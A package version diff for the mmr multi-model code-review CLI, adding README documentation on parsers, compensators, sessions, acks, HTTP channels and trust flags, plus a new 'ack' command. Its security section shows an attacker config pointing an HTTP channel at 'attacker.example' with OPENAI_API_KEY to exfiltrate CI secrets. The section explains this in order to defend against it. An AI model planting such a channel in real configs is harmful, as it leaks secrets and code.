@zigrivers/mmr 1.3.0 → 1.4.0

package/README.md

@@ -31,6 +31,7 @@ mmr reconcile <job-id> --channel superpowers --input findings.json
 |---------|---------|
 | `mmr review` | Dispatch review to configured channels |
 | `mmr review --sync` | Full pipeline: dispatch, parse, reconcile, output verdict |
+| `mmr review --dry-run` | Resolve diff, validate install/auth, and print prompts without dispatching |
 | `mmr status <job-id>` | Check job progress |
 | `mmr results <job-id>` | Collect and reconcile findings |
 | `mmr config init` | Auto-detect CLIs and generate `.mmr.yaml` |
@@ -66,12 +67,433 @@ channels:
     enabled: true
 ```
 
+## Custom output parsers
+
+Channels emit reviewer output in different shapes. `output_parser` accepts either a built-in parser name (string form — `default`, `gemini`, `doc-conformance`) or a structured object that builds a parser at dispatch time.
+
+### `unwrap-jsonpath` — extract the model's response from an envelope
+
+For OSS endpoints that wrap content in OpenAI-chat shape (`{choices: [{message: {content: "..."}}]}`):
+
+```yaml
+channels:
+  qwen-local:
+    command: scripts/ollama-openai-chat.sh  # posts stdin to Ollama's /v1/chat/completions endpoint
+    flags: ["qwen2.5-coder:32b"]
+    output_parser:
+      kind: unwrap-jsonpath
+      wrap: $.choices[0].message.content
+      then: default          # default; pass the extracted string through the default parser
+```
+
+`wrap` is the schema key for the JSONPath selector inside the wrapper envelope. Supported jsonpath subset: `$` plus repeated property and numeric-index segments, such as `$.foo`, `$.foo.bar`, `$.foo[0]`, `$.foo[0].bar`, and `$.choices[0].message.content`.
+
+### `regex-findings` — one finding per regex match
+
+For tools that emit findings as flat lines (linter-style):
+
+```yaml
+channels:
+  my-linter:
+    command: my-linter
+    flags: ["--format", "pipe"]
+    output_parser:
+      kind: regex-findings
+      pattern: '^(P[0-3])\|([^|]+)\|([^|]+)(?:\|(.+))?$'
+      fields:
+        severity: 1
+        location: 2
+        description: 3
+        suggestion: 4   # optional
+```
+
+`fields.location` and `fields.description` are required; `severity` and `suggestion` are optional. Missing or invalid severity defaults to `P2` during standard MMR finding validation.
+
+### Ollama recipe (full example)
+
+```yaml
+channels:
+  ollama-base:
+    abstract: true            # v3.28 — template only, not dispatchable
+    command: ollama
+    auth:
+      check: ollama list >/dev/null 2>&1
+      failure_exit_codes: [1]
+      recovery: Install Ollama and pull the model configured by this channel
+    output_parser: default     # `ollama run` writes the model response directly
+
+  qwen-coder:
+    extends: ollama-base
+    flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
+
+  deepseek-coder:
+    extends: ollama-base
+    flags: ["run", "deepseek-coder:33b", "--format", "json"]
+```
+
+## Configurable compensator
+
+When one of the configured channels can't run (missing CLI, auth failure, timeout, or error), MMR dispatches a **compensating pass** to keep the review degraded-but-useful. By default that pass goes to `claude -p --output-format json`. Set `defaults.compensator` to redirect it to any channel you've already configured:
+
+```yaml
+defaults:
+  compensator:
+    channel: qwen-local        # name of an existing entry in channels:
+    channel_focus_map:         # optional — override the focus preamble per-channel
+      codex: |
+        Focus on implementation correctness, memory safety, and async correctness.
+        You are compensating for a missing Codex review.
+      gemini: |
+        Focus on architectural consistency and dependency boundaries.
+        You are compensating for a missing Gemini review.
+
+channels:
+  qwen-local:
+    extends: ollama-base       # see the Ollama recipe in Custom output parsers
+    flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
+```
+
+**Default behavior (when `defaults.compensator` is unset or omitted).** MMR dispatches `claude -p --output-format json` for each missing channel. This preserves the pre-v3.29 behavior so existing configs need no changes.
+
+**Validation.** The loader rejects:
+- `compensator.channel` referencing a name that does not exist in `channels:` (dangling reference).
+- `compensator.channel` pointing at a channel marked `abstract: true` — abstract channels are templates (v3.28 T1-A) and cannot be dispatched. Reference a concrete channel that `extends:` it instead.
+
+### Recipe — use a local model as the compensator
+
+For a fully OSS-only setup (no Anthropic CLI required), configure a local Ollama channel and reference it as the compensator:
+
+```yaml
+version: 1
+defaults:
+  compensator:
+    channel: qwen-coder
+
+channels:
+  ollama-base:
+    abstract: true
+    command: ollama
+    auth:
+      check: ollama list >/dev/null 2>&1
+      failure_exit_codes: [1]
+      recovery: Install Ollama and pull a model
+    output_parser: default     # `ollama run` writes the model response directly
+
+  qwen-coder:
+    extends: ollama-base
+    flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
+```
+
+When enabled review channels such as `codex` or `gemini` are unavailable, missing, or failing, MMR runs `qwen-coder` for each compensating pass instead of `claude -p`. Channels set to `enabled: false` are intentionally skipped and do not receive compensating passes.
+
 ## Features
 
 - **--sync mode** — single-command entry point for agents and CI
+- **--dry-run mode** — preview resolved channels and assembled prompts without spawning review subprocesses; install and auth checks still run so the preview shows which channels would dispatch
 - **Compensating passes** — Claude-based review for unavailable channels
 - **Consensus scoring** — multi-source findings get high confidence
 - **Atomic job store** — per-channel status files, no write races
 - **POSIX-portable** — `command -v` for install checks, works everywhere
 
+## v3.28 — Config foundations
+
+### Channel inheritance with `extends:` and abstract parents
+
+Define an abstract template once, then inherit it per model. The parent's
+fields are deep-merged into the child; the child may override any field.
+
+```yaml
+channels:
+  ollama-base:
+    abstract: true                          # template only, never dispatched
+    command: ollama run
+    output_parser: default
+    auth:
+      check: "ollama list"
+      timeout: 5
+      failure_exit_codes: [1]
+      recovery: "ollama serve"
+
+  qwen:
+    extends: ollama-base
+    flags: ["qwen2.5-coder:32b", "--format", "json"]
+
+  deepseek:
+    extends: ollama-base
+    flags: ["deepseek-r1:14b", "--format", "json"]
+```
+
+- Cycle detection rejects configs where `A extends B extends A` (or longer loops).
+- Maximum extends depth is 4 levels.
+- Concrete channels (`abstract: false` — the default) must end up with a `command`
+  after merge; an abstract parent supplies it implicitly.
+
+### `mmr config init` — local-runtime probing
+
+`mmr config init` probes for `ollama`, `lms` (LM Studio), `llama-server`
+(llama.cpp), and `local-ai-delegate` with a 1-second per-probe timeout.
+Detected runtimes emit a commented `# example: ...` channel block in the
+generated `.mmr.yaml` (not enabled by default). Pass `--with-examples` to
+emit the full OSS catalog whether or not the runtimes are detected.
+
+```bash
+mmr config init --with-examples
+```
+
+### `mmr config channels show <name>`
+
+Print the fully merged configuration for one channel with per-field
+provenance (`# from default | user | project`). Secrets in `env` and
+`headers` are replaced with `<redacted>` by default. Pass `--no-redact`
+to print them verbatim (a warning banner is printed to stderr).
+
+```bash
+mmr config channels show claude
+```
+
+The loader also warns when a channel `headers:` block contains a literal
+`Authorization` (or similarly secret-shaped) value — these should be moved
+into an env var and referenced via `api_key_env` (the env-var name itself
+is non-secret, the value never appears in any introspection output).
+
+### `mmr review --dry-run`
+
+Resolve the diff, assemble the prompt, run auth checks, and print which
+channels *would* dispatch and the prompt each would receive — without
+spawning any review subprocesses. A clear banner makes it obvious the
+output is not real findings.
+
+```bash
+mmr review --pr 42 --dry-run
+```
+
+## v3.30 — Sessions, acks, HTTP channels, and trust boundary
+
+### Stable finding identity and sessions
+
+Each reconciled finding now carries a `finding_key` — a deterministic hash
+built from the **normalized** location and category plus a SHA-1 of the
+normalized description and suggestion (severity is intentionally *not* part of
+the key). The SHA-1 here is a **content-identity** digest for
+deduplicating findings across rounds — not a security primitive — so
+cryptographic collision resistance is not a requirement here (a chance
+collision would merely merge two unrelated findings, which is both
+astronomically unlikely and harmless).
+Normalization strips trailing line/column spans from the location and
+inline `line N` mentions from the prose, and folds casing/whitespace. As a
+result, line-number drift and severity changes do not change the identity of an
+issue across rounds. This line-independent, case-folded identity is
+intentional: a single ack then covers the same issue as it recurs at shifted
+lines (or across case-variant paths), and any incidental merge of two findings
+is harmless because the key is only a dedup/identity handle. The hash still
+depends on the description/suggestion text,
+so a substantial channel-side rewrite *will* produce a new key — that larger
+phrasing drift is absorbed by the fuzzy **ack** fallback described below
+(Jaccard ≥ 0.7 on the description shingle), not by the key itself.
+
+Sessions group related reviews. Choose a session id matching
+`^[a-zA-Z0-9_-]+$` that is not a reserved name (`con`, `prn`, `aux`, `nul`,
+`com1`–`com9`, `lpt1`–`lpt9`, `index`, `__proto__`), register it with
+`mmr sessions start <id>`, then pass `--session <id>` and `--round N`
+(one-based) to link a review to its predecessors:
+
+    mmr sessions start my-feature
+    # → session record printed (includes the id)
+    mmr review --pr 123 --session my-feature --round 1 --sync
+    # ...do fix work...
+    mmr review --pr 123 --session my-feature --round 2 --sync
+
+When `--session` is set without `--max-rounds`, the default cap is 5 rounds.
+Round 6 exits early with `verdict: 'needs-user-decision'` and a `summary` of
+`max_rounds_exceeded: …`.
+
+Manage sessions with:
+
+    mmr sessions list
+    mmr sessions show <id>
+    mmr sessions end <id>
+
+### Acknowledging known findings
+
+A finding that is intentional in your project (an "ack") can be silenced so
+later reviews surface it as advisory rather than blocking. Acks are keyed by
+`finding_key`, with a location-anchored Jaccard fuzzy fallback (≥ 0.7 on the
+5-gram description shingle) that survives small LLM phrasing changes.
+
+Workflow:
+
+    # Find the finding_key for the issue you want to ack:
+    mmr review --pr 123 --sync --format json | jq '.reconciled_findings[] | select(.location | startswith("src/legacy/")) | .finding_key'
+
+    # Ack it with a reason:
+    mmr ack add <finding_key> --reason "legacy module — scheduled rewrite in Q3"
+
+    # List:
+    mmr ack list
+
+    # Remove:
+    mmr ack rm <finding_key>
+
+By default (`--scope project`, the default), acks are stored at
+`./.mmr/acks/<finding_key>.json` (committed and shared with the team). Pass
+`--scope user` to store under `~/.mmr/acks/` (private to your machine).
+
+Acked findings remain visible in `reconciled_findings` with
+`acknowledged: true` and `ack_match: 'exact' | 'fuzzy'`; they no longer
+block the gate.
+
+### HTTP channels
+
+In addition to subprocess channels (which spawn a CLI like `claude -p`),
+v3.30 supports `kind: http` channels that POST to OpenAI-compatible
+`/v1/chat/completions` endpoints. This covers LM Studio, vLLM, llama-server,
+Ollama (via its `/v1/chat/completions` shim), Groq, Together.ai, Anyscale,
+and Fireworks without writing a shell wrapper.
+
+Required fields for an HTTP channel:
+
+- `kind: http`
+- `endpoint` — the full chat-completions request URL, normally ending in
+  `/v1/chat/completions`. Non-standard paths are allowed, but then you must
+  also supply an explicit `auth.check_endpoint` (see below), since the
+  auth-probe URL can only be derived from a `/chat/completions` suffix.
+- `model` — the model string the endpoint expects
+- `endpoint_convention: openai-chat` — the only convention supported in
+  v3.30; `generic` is rejected and reserved for a future release.
+
+Optional fields:
+
+- `api_key_env` — the NAME of the env var holding the API key. The literal
+  value is never written to `.mmr.yaml`.
+- `api_key_header` (default `Authorization`)
+- `api_key_prefix` — prepended to the key value in the auth header. The
+  default is the word `Bearer` followed by a single trailing space (the
+  seven-character string `Bearer `). Set it to an empty string (`""`) for
+  providers that expect a raw key with no prefix.
+- `headers` — extra headers (e.g. `{ "X-Org": "..." }`)
+- `auth.check_endpoint` — explicit auth-probe URL, written as a `check_endpoint`
+  key nested under an `auth:` block (the `auth.` prefix is dot-notation for that
+  nesting):
+
+  ```yaml
+  channels:
+    custom:
+      kind: http
+      endpoint: https://api.example.com/v2/respond   # non-standard path
+      model: my-model
+      endpoint_convention: openai-chat
+      auth:
+        check_endpoint: https://api.example.com/v2/health
+  ```
+
+  When unset, MMR derives the probe by replacing a trailing `/chat/completions`
+  with `/models` (a single trailing slash on the endpoint is tolerated). If the
+  endpoint does not end in `/chat/completions`, `auth.check_endpoint` is
+  required (and config validation fails without it).
+
+#### LM Studio (local, no API key)
+
+```yaml
+channels:
+  lm-studio:
+    kind: http
+    endpoint: http://localhost:1234/v1/chat/completions
+    model: qwen2.5-coder-32b-instruct
+    endpoint_convention: openai-chat
+```
+
+#### Groq
+
+```yaml
+channels:
+  groq:
+    kind: http
+    endpoint: https://api.groq.com/openai/v1/chat/completions
+    model: llama-3.3-70b-versatile
+    endpoint_convention: openai-chat
+    api_key_env: GROQ_API_KEY
+```
+
+#### Together.ai
+
+```yaml
+channels:
+  together:
+    kind: http
+    endpoint: https://api.together.xyz/v1/chat/completions
+    model: meta-llama/Llama-3-70b-chat-hf
+    endpoint_convention: openai-chat
+    api_key_env: TOGETHER_API_KEY
+```
+
+Status mapping: `200` → completed, `401` → `auth_failed`, `429` or `5xx`
+→ `failed`, fetch timeout → `timeout`. The API key value is sent on every
+request, but is NEVER written to logs or persisted job state.
+
+### Security considerations
+
+When MMR resolves a trusted **base ref** for a review — `--pr` with a
+successfully resolved upstream base, an explicit `--base`, an explicit
+`--config-base-ref`, or the local non-CI default of `HEAD` — both `.mmr.yaml`
+and `./.mmr/acks/` are loaded *exclusively from that ref* (via `git show`),
+never from the working tree. In the other modes (`trust_mode` of
+`untrusted-head` — e.g. `--staged`/`--diff`/unresolvable `--pr` under CI — or
+`non-git`), project config and project acks are **not loaded at all** unless
+you pass the corresponding trust flag below; user-scope config/acks always
+load. This base-ref rule closes two attack surfaces:
+
+1. **Ack self-suppression.** Without the rule, a PR could add a
+   `./.mmr/acks/<key>.json` file in the same diff that introduces the
+   findings being acked, silently shipping the issue.
+2. **HTTP channel secret exfiltration (P0).** Without the rule, a PR
+   could add a `kind: http` channel to `.mmr.yaml` with
+   `endpoint: https://attacker.example/log` and
+   `api_key_env: OPENAI_API_KEY`, exfiltrating CI secrets and diff
+   content.
+
+The four trust flags:
+
+- `--accept-new-acks` — required when the diff under review adds or
+  modifies files under `./.mmr/acks/`. Without it, MMR returns
+  `verdict: 'needs-user-decision'` and lists the proposed acks.
+- `--trust-project-config` — required when the diff under review adds
+  or modifies `./.mmr.yaml`. Without it, MMR returns
+  `verdict: 'needs-user-decision'` and reports
+  `proposed_config_change: true`.
+- `--config-base-ref <ref>` — for CI / wrapper flows that operate on
+  an untrusted checked-out PR head. Tells MMR to load both
+  `.mmr.yaml` and project acks from this trusted ref via
+  `git show`. **Preferred over `--trust-project-*`** when a trusted
+  ref exists.
+- `--trust-project-acks` — broader equivalent to `--accept-new-acks`
+  for untrusted-HEAD / non-Git modes. Honors working-tree project
+  acks. Logged with a noisy banner.
+
+Each review's output carries a `trust_mode` field with one of:
+`'base-ref'`, `'untrusted-head'`, `'non-git'`. Inspect this field
+to confirm which boundary applied to your run.
+
+User-scope config (`~/.mmr/config.yaml`) and user-scope acks
+(`~/.mmr/acks/`) are trusted unconditionally in every mode, because
+they are local to the user running MMR.
+
+The threat scenario the design closes:
+
+> Alice opens a PR that adds `.mmr.yaml` with a `kind: http` channel
+> pointed at her server, plus a benign-looking code change. Bob's CI
+> runs `mmr review --pr` on that PR. Without the base-ref rule, Bob's
+> CI would dispatch the new HTTP channel during the review, sending
+> `OPENAI_API_KEY` and the full diff to Alice's server. With the rule,
+> the channel is not loaded (it does not exist at the base ref) and
+> the verdict is `needs-user-decision` until Bob explicitly opts in
+> with `--trust-project-config`.
+
+Scaffold's wrappers (`scaffold run review-pr`, `scaffold run review-code`)
+pick the **input mode** for you (`--pr`, `--staged`, `--base/--head`,
+`--diff`) but do **not** pass the trust flags. For a `--pr` review the
+base-ref boundary applies automatically, so the trust flags are usually
+unnecessary; if a review returns `needs-user-decision` (e.g. the diff touches
+`.mmr.yaml` or `./.mmr/acks/`, or you are in an untrusted-head/non-git mode),
+re-run with the appropriate trust flag above yourself.
+
 Full documentation: [scaffold README](https://github.com/zigrivers/scaffold#mmr--multi-model-review-cli)

package/dist/cli.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAQA,wBAAsB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CAc1D"}
+{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAUA,wBAAsB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CAgB1D"}

package/dist/cli.js

@@ -5,6 +5,8 @@ import { resultsCommand } from './commands/results.js';
 import { configCommand } from './commands/config.js';
 import { jobsCommand } from './commands/jobs.js';
 import { reconcileCommand } from './commands/reconcile.js';
+import { sessionsCommand } from './commands/sessions.js';
+import { ackCommand } from './commands/ack.js';
 export async function runCli(argv) {
     await yargs(argv)
         .scriptName('mmr')
@@ -15,6 +17,8 @@ export async function runCli(argv) {
         .command(configCommand)
         .command(jobsCommand)
         .command(reconcileCommand)
+        .command(sessionsCommand)
+        .command(ackCommand)
         .demandCommand(1, 'Run mmr --help for usage')
         .strict()
         .help()

package/dist/cli.js.map

@@ -1 +1 @@
-{"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAA;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAA;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAA;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAA;AAE1D,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,IAAc;IACzC,MAAM,KAAK,CAAC,IAAI,CAAC;SACd,UAAU,CAAC,KAAK,CAAC;SACjB,KAAK,CAAC,wBAAwB,CAAC;SAC/B,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,cAAc,CAAC;SACvB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,WAAW,CAAC;SACpB,OAAO,CAAC,gBAAgB,CAAC;SACzB,aAAa,CAAC,CAAC,EAAE,0BAA0B,CAAC;SAC5C,MAAM,EAAE;SACR,IAAI,EAAE;SACN,IAAI,CAAA;AACT,CAAC"}
+{"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAA;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAA;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAA;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAA;AAC1D,OAAO,EAAE,eAAe,EAAE,MAAM,wBAAwB,CAAA;AACxD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAA;AAE9C,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,IAAc;IACzC,MAAM,KAAK,CAAC,IAAI,CAAC;SACd,UAAU,CAAC,KAAK,CAAC;SACjB,KAAK,CAAC,wBAAwB,CAAC;SAC/B,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,cAAc,CAAC;SACvB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,WAAW,CAAC;SACpB,OAAO,CAAC,gBAAgB,CAAC;SACzB,OAAO,CAAC,eAAe,CAAC;SACxB,OAAO,CAAC,UAAU,CAAC;SACnB,aAAa,CAAC,CAAC,EAAE,0BAA0B,CAAC;SAC5C,MAAM,EAAE;SACR,IAAI,EAAE;SACN,IAAI,CAAA;AACT,CAAC"}

package/dist/commands/ack.d.ts

@@ -0,0 +1,11 @@
+import type { CommandModule } from 'yargs';
+interface AckArgs {
+    action: string;
+    'finding-key'?: string;
+    job?: string;
+    reason?: string;
+    scope?: string;
+}
+export declare const ackCommand: CommandModule<object, AckArgs>;
+export {};
+//# sourceMappingURL=ack.d.ts.map

package/dist/commands/ack.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"ack.d.ts","sourceRoot":"","sources":["../../src/commands/ack.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAY9D,UAAU,OAAO;IACf,MAAM,EAAE,MAAM,CAAA;IACd,aAAa,CAAC,EAAE,MAAM,CAAA;IACtB,GAAG,CAAC,EAAE,MAAM,CAAA;IACZ,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,KAAK,CAAC,EAAE,MAAM,CAAA;CACf;AA2CD,eAAO,MAAM,UAAU,EAAE,aAAa,CAAC,MAAM,EAAE,OAAO,CAqFrD,CAAA"}

package/dist/commands/ack.js

@@ -0,0 +1,123 @@
+import fs from 'node:fs';
+import path from 'node:path';
+import { AckStore, FINDING_KEY_RE } from '../core/ack-store.js';
+import { JobStore } from '../core/job-store.js';
+import { normalizeLocationForKey } from '../core/stable-id.js';
+import { findProjectRoot } from '../core/project-root.js';
+import { resolveJobsDir, resolveSessionRoot } from './sessions.js';
+const JOB_ID_RE = /^mmr-[a-f0-9]{12}$/;
+// Generous upper bound on a results.json read. This is trusted MMR-written
+// state under the user's MMR root, but cap it well above any realistic file
+// so a pathological size can't be slurped whole into memory.
+const MAX_RESULTS_BYTES = 16 * 1024 * 1024;
+function loadResults(store, jobId) {
+    const fp = path.join(store.getJobDir(jobId), 'results.json');
+    try {
+        if (fs.statSync(fp).size > MAX_RESULTS_BYTES)
+            return undefined;
+        return JSON.parse(fs.readFileSync(fp, 'utf-8'));
+    }
+    catch {
+        return undefined; // missing, oversized, or malformed → no source finding here
+    }
+}
+/** Search for a reconciled finding matching the given key across recent jobs (newest first). */
+function findSourceFinding(store, key, jobHint) {
+    const sources = jobHint ? [jobHint] : store.listJobs().map((j) => j.job_id);
+    for (const jobId of sources) {
+        const r = loadResults(store, jobId);
+        // Guard against a malformed results.json whose reconciled_findings is
+        // missing or not an array (would otherwise throw in the for-of below).
+        if (!r || !Array.isArray(r.reconciled_findings))
+            continue;
+        for (const f of r.reconciled_findings) {
+            // Require a string location too: normalizeLocationForKey would throw on a
+            // missing/undefined location in a malformed record.
+            if (f.finding_key === key && typeof f.location === 'string' && f.description_shingle) {
+                return {
+                    normalized_location: normalizeLocationForKey(f.location),
+                    description_shingle: f.description_shingle,
+                };
+            }
+        }
+    }
+    return undefined;
+}
+export const ackCommand = {
+    command: 'ack <action> [finding-key]',
+    describe: 'Manage finding acknowledgments (T2-D)',
+    builder: (yargs) => yargs
+        .positional('action', {
+        type: 'string',
+        choices: ['add', 'list', 'rm', 'prune'],
+        demandOption: true,
+    })
+        .positional('finding-key', { type: 'string' })
+        .option('job', { type: 'string', describe: 'Job id to look up the source finding from' })
+        .option('reason', { type: 'string', describe: 'Why this finding is being acked' })
+        .option('scope', {
+        type: 'string',
+        choices: ['project', 'user'],
+        default: 'project',
+        describe: 'Scope of the ack (project=./.mmr/acks, user=~/.mmr/acks)',
+    }),
+    handler: (args) => {
+        // The ack CLI is operator-driven on a trusted machine, so it manages both
+        // project and user scopes directly (unlike the review gate, which gates
+        // project acks behind trust). Scope selection is explicit via --scope.
+        // Project root is discovered from cwd (works from a subdirectory); user
+        // acks live under the MMR state root (resolveSessionRoot(), MMR_HOME-aware).
+        const ackStore = new AckStore({ projectRoot: findProjectRoot(), userRoot: resolveSessionRoot() });
+        if (args.action === 'list') {
+            console.log(JSON.stringify(ackStore.listAll(), null, 2));
+            return;
+        }
+        if (args.action === 'prune') {
+            // Prune is a no-op for v3.30 unless we add a stale-marker; emit a stub.
+            console.log(JSON.stringify({ pruned: 0, note: 'prune is a no-op until stale-marker support lands' }, null, 2));
+            return;
+        }
+        const key = args['finding-key'];
+        if (!key) {
+            console.error(`mmr ack ${args.action}: <finding-key> required`);
+            process.exit(1);
+        }
+        if (!FINDING_KEY_RE.test(key)) {
+            console.error(`Invalid finding_key: ${key} — must match ^[a-f0-9]{40}$`);
+            process.exit(1);
+        }
+        const scope = (args.scope ?? 'project');
+        if (args.action === 'rm') {
+            ackStore.remove(key, scope);
+            console.log(JSON.stringify({ removed: key, scope }, null, 2));
+            return;
+        }
+        // Validate the optional --job hint before any path construction, mirroring
+        // the finding_key check (getJobDir also guards against escape, but reject
+        // early here for a clear operator error).
+        if (args.job !== undefined && !JOB_ID_RE.test(args.job)) {
+            console.error(`Invalid job id: ${args.job} — must match ^mmr-[a-f0-9]{12}$`);
+            process.exit(1);
+        }
+        // add: need a source finding to capture location + shingle. Jobs live under
+        // the MMR root (honors MMR_HOME), same as where review writes them.
+        const jobStore = new JobStore(resolveJobsDir());
+        const src = findSourceFinding(jobStore, key, args.job);
+        if (!src) {
+            const where = args.job ? ` (job=${args.job})` : '';
+            console.error(`No reconciled finding with key ${key} found in recent jobs${where}.`);
+            console.error('Tip: pass --job <id> if you know which job surfaced this finding.');
+            process.exit(1);
+        }
+        const record = {
+            finding_key: key,
+            normalized_location: src.normalized_location,
+            description_shingle: src.description_shingle,
+            ...(args.reason !== undefined ? { reason: args.reason } : {}),
+            created_at: new Date().toISOString(),
+        };
+        ackStore.add(record, scope);
+        console.log(JSON.stringify({ added: key, scope }, null, 2));
+    },
+};
+//# sourceMappingURL=ack.js.map

package/dist/commands/ack.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ack.js","sourceRoot":"","sources":["../../src/commands/ack.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,SAAS,CAAA;AACxB,OAAO,IAAI,MAAM,WAAW,CAAA;AAC5B,OAAO,EAAE,QAAQ,EAAE,cAAc,EAAiC,MAAM,sBAAsB,CAAA;AAC9F,OAAO,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAA;AAC/C,OAAO,EAAE,uBAAuB,EAAE,MAAM,sBAAsB,CAAA;AAC9D,OAAO,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAA;AACzD,OAAO,EAAE,cAAc,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAA;AAGlE,MAAM,SAAS,GAAG,oBAAoB,CAAA;AAUtC,2EAA2E;AAC3E,4EAA4E;AAC5E,6DAA6D;AAC7D,MAAM,iBAAiB,GAAG,EAAE,GAAG,IAAI,GAAG,IAAI,CAAA;AAE1C,SAAS,WAAW,CAAC,KAAe,EAAE,KAAa;IACjD,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,KAAK,CAAC,SAAS,CAAC,KAAK,CAAC,EAAE,cAAc,CAAC,CAAA;IAC5D,IAAI,CAAC;QACH,IAAI,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,IAAI,GAAG,iBAAiB;YAAE,OAAO,SAAS,CAAA;QAC9D,OAAO,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,EAAE,EAAE,OAAO,CAAC,CAAsB,CAAA;IACtE,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,SAAS,CAAA,CAAC,4DAA4D;IAC/E,CAAC;AACH,CAAC;AAED,gGAAgG;AAChG,SAAS,iBAAiB,CACxB,KAAe,EACf,GAAW,EACX,OAAgB;IAEhB,MAAM,OAAO,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,CAAC,CAAA;IAC3E,KAAK,MAAM,KAAK,IAAI,OAAO,EAAE,CAAC;QAC5B,MAAM,CAAC,GAAG,WAAW,CAAC,KAAK,EAAE,KAAK,CAAC,CAAA;QACnC,sEAAsE;QACtE,uEAAuE;QACvE,IAAI,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,mBAAmB,CAAC;YAAE,SAAQ;QACzD,KAAK,MAAM,CAAC,IAAI,CAAC,CAAC,mBAA0C,EAAE,CAAC;YAC7D,0EAA0E;YAC1E,oDAAoD;YACpD,IAAI,CAAC,CAAC,WAAW,KAAK,GAAG,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ,IAAI,CAAC,CAAC,mBAAmB,EAAE,CAAC;gBACrF,OAAO;oBACL,mBAAmB,EAAE,uBAAuB,CAAC,CAAC,CAAC,QAAQ,CAAC;oBACxD,mBAAmB,EAAE,CAAC,CAAC,mBAAmB;iBAC3C,CAAA;YACH,CAAC;QACH,CAAC;IACH,CAAC;IACD,OAAO,SAAS,CAAA;AAClB,CAAC;AAED,MAAM,CAAC,MAAM,UAAU,GAAmC;IACxD,OAAO,EAAE,4BAA4B;IACrC,QAAQ,EAAE,uCAAuC;IACjD,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE,CACjB,KAAK;SACF,UAAU,CAAC,QAAQ,EAAE;QACpB,IAAI,EAAE,QAAQ;QACd,OAAO,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,OAAO,CAAU;QAChD,YAAY,EAAE,IAAI;KACnB,CAAC;SACD,UAAU,CAAC,aAAa,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC;SAC7C,MAAM,CAAC,KAAK,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,2CAA2C,EAAE,CAAC;SACxF,MAAM,CAAC,QAAQ,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,iCAAiC,EAAE,CAAC;SACjF,MAAM,CAAC,OAAO,EAAE;QACf,IAAI,EAAE,QAAQ;QACd,OAAO,EAAE,CAAC,SAAS,EAAE,MAAM,CAAU;QACrC,OAAO,EAAE,SAAS;QAClB,QAAQ,EAAE,0DAA0D;KACrE,CAAC;IACN,OAAO,EAAE,CAAC,IAAiC,EAAE,EAAE;QAC7C,0EAA0E;QAC1E,wEAAwE;QACxE,uEAAuE;QACvE,wEAAwE;QACxE,6EAA6E;QAC7E,MAAM,QAAQ,GAAG,IAAI,QAAQ,CAAC,EAAE,WAAW,EAAE,eAAe,EAAE,EAAE,QAAQ,E